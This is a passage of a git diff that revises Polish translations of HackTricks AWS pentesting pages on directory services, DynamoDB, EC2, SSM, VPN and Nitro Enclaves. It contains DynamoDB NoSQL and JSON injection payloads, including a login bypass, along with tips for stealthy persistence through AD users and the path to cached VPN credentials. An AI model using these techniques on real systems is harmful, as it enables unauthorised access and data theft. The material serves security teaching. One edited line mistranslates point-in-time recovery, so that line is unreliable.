 - **AWS Managed Microsoft AD**: Który uruchomi nowy **Microsoft AD w AWS**. Będziesz mógł ustawić hasło administratora i uzyskać dostęp do DC w VPC.
-- **Simple AD**: Który będzie **serwerem zgodnym z Active Directory** opartym na **Linux-Samba**. Będziesz mógł ustawić hasło administratora i uzyskać dostęp do DC w VPC.
+- **Simple AD**: Który będzie **serwerem zgodnym z Active Directory Linux-Samba**. Będziesz mógł ustawić hasło administratora i uzyskać dostęp do DC w VPC.
 - **AD Connector**: Proxy do **przekierowywania żądań katalogowych do istniejącego Microsoft Active Directory** bez buforowania jakichkolwiek informacji w chmurze. Będzie nasłuchiwać w **VPC** i musisz podać **dane uwierzytelniające do uzyskania dostępu do istniejącego AD**.
 - **Amazon Cognito User Pools**: To to samo co Cognito User Pools.
 - **Cloud Directory**: To jest **najprostsze**. **Bezserwerowy** katalog, w którym wskazujesz **schemat** do użycia i jesteś **obciążany zgodnie z użyciem**.
 
 Usługi katalogowe AWS pozwalają na **synchronizację** z istniejącym **lokalnym** Microsoft AD, **uruchomienie własnego** w AWS lub synchronizację z **innymi typami katalogów**.
 
-### Lab
+### Laboratorium
 
 Tutaj znajdziesz fajny samouczek, jak stworzyć własny Microsoft AD w AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html)
 
-### Enumeration
+### Enumeracja
 ```bash
 # Get directories and DCs
 aws ds describe-directories
@@ -55,7 +55,7 @@ Zauważ, że jeśli **opis** katalogu zawierał **domenę** w polu **`AccessUrl`
 
 ### Using an AD user
 
-**Użytkownik AD** może uzyskać **dostęp do konsoli zarządzania AWS** za pośrednictwem roli do przyjęcia. **Domyślną nazwą użytkownika jest Admin** i możliwe jest **zmiana hasła** z konsoli AWS.
+Użytkownik **AD** może otrzymać **dostęp do konsoli zarządzania AWS** poprzez rolę do przyjęcia. **Domyślna nazwa użytkownika to Admin** i możliwe jest **zmiana hasła** z konsoli AWS.
 
 Dlatego możliwe jest **zmiana hasła Admina**, **utworzenie nowego użytkownika** lub **zmiana hasła** użytkownika i przyznanie temu użytkownikowi roli, aby utrzymać dostęp.\
 Możliwe jest również **dodanie użytkownika do grupy w AD** i **przyznanie tej grupie AD dostępu do roli** (aby uczynić tę persistencję bardziej ukrytą).
@@ -73,9 +73,9 @@ Nie wygląda na to, aby możliwe było przyznanie dostępu do AWS użytkownikom
 
 ## WorkDocs
 
-Amazon Web Services (AWS) WorkDocs to oparta na chmurze **usługa przechowywania i udostępniania plików**. Jest częścią zestawu usług chmurowych AWS i została zaprojektowana w celu zapewnienia bezpiecznego i skalowalnego rozwiązania dla organizacji do przechowywania, udostępniania i współpracy nad plikami i dokumentami.
+Amazon Web Services (AWS) WorkDocs to oparta na chmurze **usługa przechowywania i udostępniania plików**. Jest częścią zestawu usług obliczeniowych AWS i została zaprojektowana, aby zapewnić bezpieczne i skalowalne rozwiązanie dla organizacji do przechowywania, udostępniania i współpracy nad plikami i dokumentami.
 
-AWS WorkDocs oferuje interfejs oparty na sieci dla użytkowników do przesyłania, uzyskiwania dostępu i zarządzania swoimi plikami i dokumentami. Oferuje również funkcje takie jak kontrola wersji, współpraca w czasie rzeczywistym oraz integracja z innymi usługami AWS i narzędziami firm trzecich.
+AWS WorkDocs oferuje interfejs oparty na sieci, który umożliwia użytkownikom przesyłanie, uzyskiwanie dostępu i zarządzanie swoimi plikami i dokumentami. Oferuje również funkcje takie jak kontrola wersji, współpraca w czasie rzeczywistym oraz integracja z innymi usługami AWS i narzędziami firm trzecich.
 
 ### Enumeration
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
index cf69a469c..7463f69ca 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
@@ -1,4 +1,4 @@
-# AWS - DocumentDB Enum
+# AWS - Enum DocumentDB
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 Amazon DocumentDB, oferujący zgodność z MongoDB, jest przedstawiany jako **szybka, niezawodna i w pełni zarządzana usługa bazy danych**. Zaprojektowany z myślą o prostocie wdrożenia, działania i skalowalności, umożliwia **bezproblemową migrację i działanie baz danych zgodnych z MongoDB w chmurze**. Użytkownicy mogą korzystać z tej usługi, aby uruchamiać swój istniejący kod aplikacji i wykorzystywać znane sterowniki i narzędzia, zapewniając płynne przejście i działanie podobne do pracy z MongoDB.
 
-### Enumeration
+### Enumeracja
 ```bash
 aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
 aws docdb describe-db-instances #Get hostnames from here
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
index 8f64f8b4b..e03de2310 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
@@ -8,17 +8,17 @@
 
 Amazon DynamoDB jest przedstawiany przez AWS jako **w pełni zarządzana, bezserwerowa, klucz-wartość baza danych NoSQL**, dostosowana do zasilania aplikacji o wysokiej wydajności, niezależnie od ich rozmiaru. Usługa zapewnia solidne funkcje, w tym wbudowane środki bezpieczeństwa, nieprzerwane kopie zapasowe, automatyczną replikację w wielu regionach, zintegrowane pamięci podręczne w pamięci oraz wygodne narzędzia do eksportu danych.
 
-W kontekście DynamoDB, zamiast tworzyć tradycyjną bazę danych, **tworzone są tabele**. Każda tabela wymaga określenia **klucza partycji** jako integralnego elementu **klucza głównego tabeli**. Ten klucz partycji, zasadniczo **wartość haszująca**, odgrywa kluczową rolę zarówno w pobieraniu elementów, jak i w dystrybucji danych w różnych hostach. Ta dystrybucja jest kluczowa dla utrzymania zarówno skalowalności, jak i dostępności bazy danych. Dodatkowo istnieje możliwość dodania **klucza sortującego**, aby jeszcze bardziej udoskonalić organizację danych.
+W kontekście DynamoDB, zamiast zakładać tradycyjną bazę danych, **tworzone są tabele**. Każda tabela wymaga określenia **klucza partycji** jako integralnego elementu **klucza głównego tabeli**. Ten klucz partycji, zasadniczo **wartość haszująca**, odgrywa kluczową rolę zarówno w pobieraniu elementów, jak i w dystrybucji danych w różnych hostach. Ta dystrybucja jest kluczowa dla utrzymania zarówno skalowalności, jak i dostępności bazy danych. Dodatkowo istnieje możliwość dodania **klucza sortującego**, aby jeszcze bardziej udoskonalić organizację danych.
 
 ### Szyfrowanie
 
-Domyślnie, DynamoDB używa klucza KMS, który \*\*należy do Amazon DynamoDB,\*\* a nie nawet do zarządzanego klucza AWS, który przynajmniej należy do twojego konta.
+Domyślnie, DynamoDB używa klucza KMS, który **należy do Amazon DynamoDB,** a nie nawet do zarządzanego klucza AWS, który przynajmniej należy do twojego konta.
 
 <figure><img src="https://lh4.googleusercontent.com/JjtNS7aA-_GRMgZb4v93jWEQJi6DQdUPq0FEpzZPdeyCeNoG05p0NJiV9Zs-ULs_-Tfjmx0W1ZgsE2Ui2ljo7D-1a87Xny-gpLVQO0XmXdFoph9ci1RepbVNwaCe9oPruEZSEDxGTxF5dIv6pW1WpT6kWA=s2048" alt=""><figcaption></figcaption></figure>
 
 ### Kopie zapasowe i eksport do S3
 
-Możliwe jest **zaplanowanie** generowania **kopii zapasowych tabeli** lub tworzenie ich na **żądanie**. Ponadto możliwe jest również włączenie **odzyskiwania w punkcie w czasie (PITR) dla tabeli.** Odzyskiwanie w punkcie w czasie zapewnia ciągłe **kopie zapasowe** danych DynamoDB przez **35 dni**, aby pomóc w ochronie przed przypadkowymi operacjami zapisu lub usunięcia.
+Możliwe jest **zaplanowanie** generowania **kopii zapasowych tabeli** lub tworzenie ich na **żądanie**. Ponadto możliwe jest również włączenie **odzyskiwania w czasie rzeczywistym (PITR) dla tabeli.** Odzyskiwanie w czasie rzeczywistym zapewnia ciągłe **kopie zapasowe** danych DynamoDB przez **35 dni**, aby pomóc w ochronie przed przypadkowymi operacjami zapisu lub usunięcia.
 
 Możliwe jest również eksportowanie **danych tabeli do S3**, ale tabela musi mieć **włączone PITR**.
 
@@ -89,15 +89,15 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection
 
 ### Wstrzykiwanie NoSQL
 
-W DynamoDB można używać różnych **warunków** do pobierania danych, jak w typowym wstrzykiwaniu NoSQL, jeśli możliwe jest **łączenie więcej warunków w celu pobrania** danych, można uzyskać ukryte dane (lub zrzucić całą tabelę).\
+W DynamoDB różne **warunki** mogą być używane do pobierania danych, jak w typowym wstrzykiwaniu NoSQL, jeśli możliwe jest **łączenie więcej warunków w celu pobrania** danych, można uzyskać ukryte dane (lub zrzucić całą tabelę).\
 Można tutaj znaleźć warunki obsługiwane przez DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
 
 Zauważ, że **różne warunki** są obsługiwane, jeśli dane są uzyskiwane za pomocą **`query`** lub za pomocą **`scan`**.
 
 > [!NOTE]
-> W rzeczywistości, akcje **Query** muszą określać **warunek "EQ" (równa się)** w **kluczu głównym**, aby działały, co sprawia, że są **mniej podatne na wstrzykiwania NoSQL** (a także ogranicza operację).
+> W rzeczywistości, akcje **Query** muszą określać **warunek "EQ" (równa się)** w **kluczu głównym**, aby działały, co czyni je znacznie **mniej podatnymi na wstrzykiwania NoSQL** (a także ogranicza operację).
 
-Jeśli możesz **zmienić porównanie** lub dodać nowe, możesz pobrać więcej danych.
+Jeśli możesz **zmienić porównanie** wykonywane lub dodać nowe, możesz pobrać więcej danych.
 ```bash
 # Comparators to dump the database
 "NE": "a123" #Get everything that doesn't equal "a123"
@@ -108,9 +108,9 @@ Jeśli możesz **zmienić porównanie** lub dodać nowe, możesz pobrać więcej
 https://book.hacktricks.xyz/pentesting-web/nosql-injection
 {{#endref}}
 
-### Raw Json injection
+### Surowa injekcja Json
 
-> [!CAUTION]
+> [!OSTRZEŻENIE]
 > **Ta podatność opiera się na filtrze skanowania dynamodb, który jest teraz przestarzały!**
 
 **DynamoDB** akceptuje obiekty **Json** do **wyszukiwania** danych w bazie. Jeśli odkryjesz, że możesz pisać w obiekcie json wysyłanym do wyszukiwania, możesz wykonać zrzut bazy danych, wszystkich jej zawartości.
@@ -123,7 +123,7 @@ atakujący mógłby wstrzyknąć coś takiego:
 
 `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
 
-naprawić warunek "EQ" szukając ID 1000, a następnie szukając wszystkich danych z ciągiem Id większym niż 0, co obejmuje wszystko.
+naprawić warunek "EQ" szukając ID 1000, a następnie szukać wszystkich danych z ciągiem Id większym niż 0, co obejmuje wszystko.
 
 Inny **wrażliwy przykład używający logowania** mógłby być:
 ```python
@@ -141,14 +141,14 @@ scan_filter = """{
 
 dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
 ```
-To będzie podatne na:
+To może być podatne na:
 ```
 username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
 password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
 ```
 ### :property Injection
 
-Niektóre SDK umożliwiają użycie ciągu wskazującego filtrację, która ma być przeprowadzona, jak:
+Niektóre SDK umożliwiają użycie ciągu wskazującego filtrację do wykonania, takiego jak:
 ```java
 new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
index a11a5e206..d6ae6db0d 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
@@ -1,10 +1,10 @@
-# AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
+# AWS - EC2, EBS, ELB, SSM, VPC i VPN Enum
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## VPC & Networking
+## VPC i Sieci
 
-Dowiedz się, czym jest VPC i jakie są jego komponenty w:
+Dowiedz się, czym jest VPC i jakie ma komponenty w:
 
 {{#ref}}
 aws-vpc-and-networking-basic-information.md
@@ -12,14 +12,14 @@ aws-vpc-and-networking-basic-information.md
 
 ## EC2
 
-Amazon EC2 jest wykorzystywany do uruchamiania **wirtualnych serwerów**. Umożliwia konfigurację **bezpieczeństwa** i **sieci** oraz zarządzanie **przechowywaniem**. Elastyczność Amazon EC2 jest widoczna w jego zdolności do skalowania zasobów zarówno w górę, jak i w dół, skutecznie dostosowując się do zmieniających się wymagań lub wzrostów popularności. Ta funkcja zmniejsza konieczność precyzyjnego prognozowania ruchu.
+Amazon EC2 jest wykorzystywany do uruchamiania **serwerów wirtualnych**. Umożliwia konfigurację **bezpieczeństwa** i **sieci** oraz zarządzanie **przechowywaniem**. Elastyczność Amazon EC2 jest widoczna w jego zdolności do skalowania zasobów zarówno w górę, jak i w dół, skutecznie dostosowując się do zmieniających się wymagań lub wzrostów popularności. Ta funkcja zmniejsza konieczność precyzyjnego przewidywania ruchu.
 
 Interesujące rzeczy do enumeracji w EC2:
 
-- Wirtualne maszyny
+- Maszyny Wirtualne
 - Klucze SSH
-- Dane użytkownika
-- Istniejące EC2/AMIs/Zrzuty
+- Dane Użytkownika
+- Istniejące EC2/AMI/Zrzuty
 - Sieci
 - Sieci
 - Podsieci
@@ -27,13 +27,13 @@ Interesujące rzeczy do enumeracji w EC2:
 - Otwarte porty
 - Zintegrowane połączenia z innymi sieciami poza AWS
 
-### Instance Profiles
+### Profile Instancji
 
-Użycie **ról** do przyznawania uprawnień aplikacjom działającym na **instancjach EC2** wymaga dodatkowej konfiguracji. Aplikacja działająca na instancji EC2 jest abstrahowana od AWS przez wirtualizowany system operacyjny. Z powodu tego dodatkowego oddzielenia, potrzebny jest dodatkowy krok, aby przypisać rolę AWS i jej powiązane uprawnienia do instancji EC2 i udostępnić je jej aplikacjom.
+Używanie **ról** do przyznawania uprawnień aplikacjom działającym na **instancjach EC2** wymaga dodatkowej konfiguracji. Aplikacja działająca na instancji EC2 jest abstrahowana od AWS przez wirtualizowany system operacyjny. Z powodu tego dodatkowego oddzielenia, potrzebujesz dodatkowego kroku, aby przypisać rolę AWS i jej powiązane uprawnienia do instancji EC2 i udostępnić je jej aplikacjom.
 
 Ten dodatkowy krok to **utworzenie** [_**profilu instancji**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) przypisanego do instancji. **Profil instancji zawiera rolę i** może dostarczyć tymczasowe poświadczenia roli aplikacji działającej na instancji. Te tymczasowe poświadczenia mogą być następnie używane w wywołaniach API aplikacji do uzyskiwania dostępu do zasobów i ograniczania dostępu tylko do tych zasobów, które określa rola. Należy zauważyć, że **tylko jedna rola może być przypisana do instancji EC2** w danym czasie, a wszystkie aplikacje na instancji dzielą tę samą rolę i uprawnienia.
 
-### Metadata Endpoint
+### Punkt końcowy Metadanych
 
 Metadane AWS EC2 to informacje o instancji Amazon Elastic Compute Cloud (EC2), które są dostępne dla instancji w czasie wykonywania. Te metadane są używane do dostarczania informacji o instancji, takich jak jej identyfikator instancji, strefa dostępności, w której działa, rola IAM powiązana z instancją oraz nazwa hosta instancji.
 
@@ -41,7 +41,7 @@ Metadane AWS EC2 to informacje o instancji Amazon Elastic Compute Cloud (EC2), k
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
 {{#endref}}
 
-### Enumeration
+### Enumeracja
 ```bash
 # Get EC2 instances
 aws ec2 describe-instances
@@ -135,7 +135,7 @@ aws ec2 describe-vpc-peering-connections
 
 ### Privesc
 
-Na następnej stronie możesz sprawdzić, jak **wykorzystać uprawnienia EC2 do eskalacji przywilejów**:
+Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień EC2, aby eskalować uprawnienia**:
 
 {{#ref}}
 ../../aws-privilege-escalation/aws-ec2-privesc.md
@@ -151,15 +151,15 @@ Na następnej stronie możesz sprawdzić, jak **wykorzystać uprawnienia EC2 do
 
 Amazon **EBS** (Elastic Block Store) **migawki** to w zasadzie statyczne **kopie zapasowe** woluminów AWS EBS. Innymi słowy, są to **kopie** **dysków** podłączonych do instancji **EC2** w określonym momencie. Migawki EBS mogą być kopiowane między regionami i kontami, a nawet pobierane i uruchamiane lokalnie.
 
-Migawki mogą zawierać **wrażliwe informacje** takie jak **kod źródłowy lub klucze API**, dlatego, jeśli masz taką możliwość, zaleca się ich sprawdzenie.
+Migawki mogą zawierać **wrażliwe informacje**, takie jak **kod źródłowy lub klucze API**, dlatego, jeśli masz taką możliwość, zaleca się ich sprawdzenie.
 
 ### Różnica AMI & EBS
 
-**AMI** jest używane do **uruchamiania instancji EC2**, podczas gdy **Migawka EC2** jest używana do **tworzenia kopii zapasowych i przywracania danych przechowywanych na woluminie EBS**. Chociaż Migawka EC2 może być używana do tworzenia nowego AMI, nie jest to to samo co AMI i nie zawiera informacji o systemie operacyjnym, serwerze aplikacji ani innym oprogramowaniu wymaganym do uruchomienia aplikacji.
+**AMI** jest używane do **uruchamiania instancji EC2**, podczas gdy **Migawka EC2** jest używana do **tworzenia kopii zapasowych i odzyskiwania danych przechowywanych na woluminie EBS**. Chociaż Migawka EC2 może być używana do tworzenia nowego AMI, nie jest to to samo co AMI i nie zawiera informacji o systemie operacyjnym, serwerze aplikacji ani innym oprogramowaniu wymaganym do uruchomienia aplikacji.
 
 ### Privesc
 
-Na następnej stronie możesz sprawdzić, jak **wykorzystać uprawnienia EBS do eskalacji przywilejów**:
+Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień EBS, aby eskalować uprawnienia**:
 
 {{#ref}}
 ../../aws-privilege-escalation/aws-ebs-privesc.md
@@ -169,9 +169,9 @@ Na następnej stronie możesz sprawdzić, jak **wykorzystać uprawnienia EBS do
 
 **Amazon Simple Systems Manager (SSM)** umożliwia zdalne zarządzanie flotą instancji EC2, co znacznie ułatwia ich administrację. Każda z tych instancji musi mieć uruchomioną **usługę SSM Agent, ponieważ to ta usługa będzie odbierać działania i je wykonywać** z API AWS.
 
-**SSM Agent** umożliwia System Managerowi aktualizację, zarządzanie i konfigurowanie tych zasobów. Agent **przetwarza żądania z usługi Systems Manager w chmurze AWS**, a następnie wykonuje je zgodnie z określeniami w żądaniu.
+**SSM Agent** umożliwia System Managerowi aktualizację, zarządzanie i konfigurowanie tych zasobów. Agent **przetwarza żądania z usługi Systems Manager w chmurze AWS** i następnie wykonuje je zgodnie z określeniami w żądaniu.
 
-**SSM Agent jest**[ **wstępnie zainstalowany w niektórych AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) lub musisz [**ręcznie je zainstalować**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) na instancjach. Ponadto rola IAM używana wewnątrz instancji musi mieć przypisaną politykę **AmazonEC2RoleforSSM**, aby mogła komunikować się.
+**SSM Agent jest**[ **wstępnie zainstalowany w niektórych AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) lub musisz [**ręcznie je zainstalować**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) na instancjach. Ponadto rola IAM używana wewnątrz instancji musi mieć przypisaną politykę **AmazonEC2RoleforSSM**, aby mogła komunikować się. 
 
 ### Enumeracja
 ```bash
@@ -182,13 +182,13 @@ aws ssm describe-instance-patches --instance-id <id>
 aws ssm describe-instance-patch-states --instance-ids <id>
 aws ssm describe-instance-associations-status --instance-id <id>
 ```
-Możesz sprawdzić w instancji EC2, czy Systems Manager działa, po prostu wykonując:
+Możesz sprawdzić, czy Systems Manager działa w instancji EC2, po prostu wykonując:
 ```bash
 ps aux | grep amazon-ssm
 ```
 ### Privesc
 
-Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień SSM, aby eskalować przywileje**:
+Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień SSM, aby eskalować uprawnienia**:
 
 {{#ref}}
 ../../aws-privilege-escalation/aws-ssm-privesc.md
@@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers
 ```
 ## Nitro
 
-AWS Nitro to zestaw **innowacyjnych technologii**, które stanowią podstawową platformę dla instancji AWS EC2. Wprowadzony przez Amazon w celu **zwiększenia bezpieczeństwa, wydajności i niezawodności**, Nitro wykorzystuje niestandardowe **komponenty sprzętowe i lekką warstwę hipernadzoru**. Abstrakcyjnie przenosi wiele tradycyjnych funkcji wirtualizacji na dedykowany sprzęt i oprogramowanie, **minimalizując powierzchnię ataku** i poprawiając efektywność zasobów. Przez odciążenie funkcji wirtualizacji, Nitro pozwala instancjom EC2 na dostarczanie **wydajności bliskiej wydajności sprzętowej**, co czyni go szczególnie korzystnym dla aplikacji wymagających dużych zasobów. Dodatkowo, chip bezpieczeństwa Nitro zapewnia **bezpieczeństwo sprzętu i oprogramowania układowego**, co dodatkowo wzmacnia jego solidną architekturę.
+AWS Nitro to zestaw **innowacyjnych technologii**, które stanowią podstawową platformę dla instancji AWS EC2. Wprowadzony przez Amazon w celu **zwiększenia bezpieczeństwa, wydajności i niezawodności**, Nitro wykorzystuje niestandardowe **komponenty sprzętowe i lekkiego hypervisora**. Abstrakcyjnie przenosi wiele tradycyjnych funkcji wirtualizacji na dedykowany sprzęt i oprogramowanie, **minimalizując powierzchnię ataku** i poprawiając efektywność zasobów. Przez odciążenie funkcji wirtualizacji, Nitro pozwala instancjom EC2 na dostarczanie **wydajności bliskiej wydajności sprzętowej**, co czyni go szczególnie korzystnym dla aplikacji wymagających dużych zasobów. Dodatkowo, Nitro Security Chip zapewnia **bezpieczeństwo sprzętu i oprogramowania**, co dodatkowo wzmacnia jego solidną architekturę.
 
 Uzyskaj więcej informacji i jak to enumerować z:
 
@@ -258,7 +258,7 @@ VPN pozwala na połączenie twojej **sieci lokalnej (VPN site-to-site)** lub **l
 - Jest używany do bezpiecznej, stabilnej i spójnej komunikacji między twoim centrum danych lub siecią a twoim środowiskiem AWS.
 - Zazwyczaj używany do regularnych, długoterminowych połączeń i jest rozliczany na podstawie ilości danych przesyłanych przez połączenie.
 4. **Client VPN Endpoint**:
-- Punkt końcowy Client VPN to zasób, który tworzysz w AWS, aby umożliwić i zarządzać sesjami VPN klientów.
+- Endpoint Client VPN to zasób, który tworzysz w AWS, aby umożliwić i zarządzać sesjami VPN klientów.
 - Jest używany do umożliwienia indywidualnym urządzeniom (takim jak laptopy, smartfony itp.) bezpiecznego łączenia się z zasobami AWS lub twoją siecią lokalną.
 - Różni się od Site-to-Site VPN tym, że jest zaprojektowany dla indywidualnych klientów, a nie do łączenia całych sieci.
 - W przypadku Client VPN, każde urządzenie klienckie używa oprogramowania klienckiego VPN do nawiązania bezpiecznego połączenia.
@@ -293,7 +293,7 @@ aws ec2 describe-vpn-connections
 
 **Lokalne tymczasowe poświadczenia**
 
-Gdy klient AWS VPN jest używany do łączenia się z VPN, użytkownik zazwyczaj **loguje się do AWS**, aby uzyskać dostęp do VPN. Następnie, niektóre **poświadczenia AWS są tworzone i przechowywane** lokalnie, aby nawiązać połączenie VPN. Te poświadczenia są **przechowywane w** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` i zawierają **AccessKey**, **SecretKey** oraz **Token**.
+Gdy klient AWS VPN jest używany do łączenia się z VPN, użytkownik zazwyczaj **loguje się do AWS**, aby uzyskać dostęp do VPN. Następnie, niektóre **poświadczenia AWS są tworzone i przechowywane** lokalnie w celu nawiązania połączenia VPN. Te poświadczenia są **przechowywane w** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` i zawierają **AccessKey**, **SecretKey** i **Token**.
 
 Poświadczenia należą do użytkownika `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: zbadać więcej na temat uprawnień tych poświadczeń).
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
index 36531d750..6ab2df539 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
@@ -4,14 +4,14 @@
 
 ## Podstawowe informacje
 
-AWS Nitro to zestaw **innowacyjnych technologii**, które stanowią podstawową platformę dla instancji AWS EC2. Wprowadzony przez Amazon w celu **zwiększenia bezpieczeństwa, wydajności i niezawodności**, Nitro wykorzystuje niestandardowe **komponenty sprzętowe i lekkiego hypervisora**. Abstrakcyjnie przenosi wiele tradycyjnych funkcji wirtualizacji na dedykowany sprzęt i oprogramowanie, **minimalizując powierzchnię ataku** i poprawiając efektywność zasobów. Przez odciążenie funkcji wirtualizacji, Nitro pozwala instancjom EC2 na dostarczanie **wydajności bliskiej wydajności sprzętowej**, co jest szczególnie korzystne dla aplikacji wymagających dużych zasobów. Dodatkowo, Nitro Security Chip zapewnia **bezpieczeństwo sprzętu i oprogramowania układowego**, co dodatkowo wzmacnia jego solidną architekturę.
+AWS Nitro to zestaw **innowacyjnych technologii**, które stanowią podstawową platformę dla instancji AWS EC2. Wprowadzony przez Amazon w celu **zwiększenia bezpieczeństwa, wydajności i niezawodności**, Nitro wykorzystuje niestandardowe **komponenty sprzętowe i lekki hipernadzorcę**. Abstrakcyjnie przenosi wiele tradycyjnych funkcji wirtualizacji na dedykowany sprzęt i oprogramowanie, **minimalizując powierzchnię ataku** i poprawiając efektywność zasobów. Dzięki przeniesieniu funkcji wirtualizacji, Nitro pozwala instancjom EC2 na osiąganie **wydajności bliskiej wydajności sprzętowej**, co jest szczególnie korzystne dla aplikacji wymagających dużych zasobów. Dodatkowo, Nitro Security Chip zapewnia **bezpieczeństwo sprzętu i oprogramowania układowego**, co dodatkowo wzmacnia jego solidną architekturę.
 
 ### Nitro Enclaves
 
-**AWS Nitro Enclaves** zapewnia bezpieczne, **izolowane środowisko obliczeniowe w instancjach Amazon EC2**, zaprojektowane specjalnie do przetwarzania wysoce wrażliwych danych. Wykorzystując system AWS Nitro, te enklawy zapewniają solidną **izolację i bezpieczeństwo**, idealne do **obsługi poufnych informacji**, takich jak PII czy dane finansowe. Oferują minimalistyczne środowisko, znacznie redukując ryzyko ujawnienia danych. Dodatkowo, Nitro Enclaves wspierają kryptograficzną atestację, umożliwiając użytkownikom weryfikację, że tylko autoryzowany kod jest uruchamiany, co jest kluczowe dla utrzymania ścisłej zgodności i standardów ochrony danych.
+**AWS Nitro Enclaves** zapewniają bezpieczne, **izolowane środowisko obliczeniowe w instancjach Amazon EC2**, zaprojektowane specjalnie do przetwarzania wysoce wrażliwych danych. Wykorzystując system AWS Nitro, te enklawy zapewniają solidną **izolację i bezpieczeństwo**, idealne do **obsługi poufnych informacji**, takich jak PII czy dane finansowe. Oferują minimalistyczne środowisko, znacznie redukując ryzyko ujawnienia danych. Dodatkowo, Nitro Enclaves wspierają kryptograficzną atestację, umożliwiając użytkownikom weryfikację, że tylko autoryzowany kod jest uruchamiany, co jest kluczowe dla utrzymania ścisłej zgodności i standardów ochrony danych.
 
 > [!OSTRZEŻENIE]
-> Obrazy Nitro Enclave są **uruchamiane z wnętrza instancji EC2** i nie możesz zobaczyć w konsoli internetowej AWS, czy instancje EC2 uruchamiają obrazy w Nitro Enclave, czy nie.
+> Obrazy Nitro Enclave są **uruchamiane z wnętrza instancji EC2** i nie możesz zobaczyć w konsoli internetowej AWS, czy instancja EC2 uruchamia obrazy w Nitro Enclave, czy nie.
 
 ## Instalacja CLI Nitro Enclave
 
@@ -56,14 +56,14 @@ Enclave Image successfully created.
 ```
 ### Uruchom obraz
 
-Zgodnie z [**dokumentacją**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), aby uruchomić obraz enklawy, musisz przypisać mu pamięć o **co najmniej 4-krotności rozmiaru pliku `eif`**. Możliwe jest skonfigurowanie domyślnych zasobów, które mu przydzielisz w pliku.
+Zgodnie z [**dokumentacją**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), aby uruchomić obraz enklawy, musisz przypisać mu pamięć **o wielkości co najmniej 4 razy większej niż rozmiar pliku `eif`**. Możliwe jest skonfigurowanie domyślnych zasobów, które mu przydzielisz w pliku.
 ```shell
 /etc/nitro_enclaves/allocator.yaml
 ```
 > [!CAUTION]
-> Zawsze pamiętaj, że musisz **zarezerwować pewne zasoby dla rodzica EC2** również!
+> Zawsze pamiętaj, że musisz **zarezerwować pewne zasoby dla rodzica EC2**!
 
-Po poznaniu zasobów, które należy przydzielić obrazowi i nawet po modyfikacji pliku konfiguracyjnego, możliwe jest uruchomienie obrazu enklawy za pomocą:
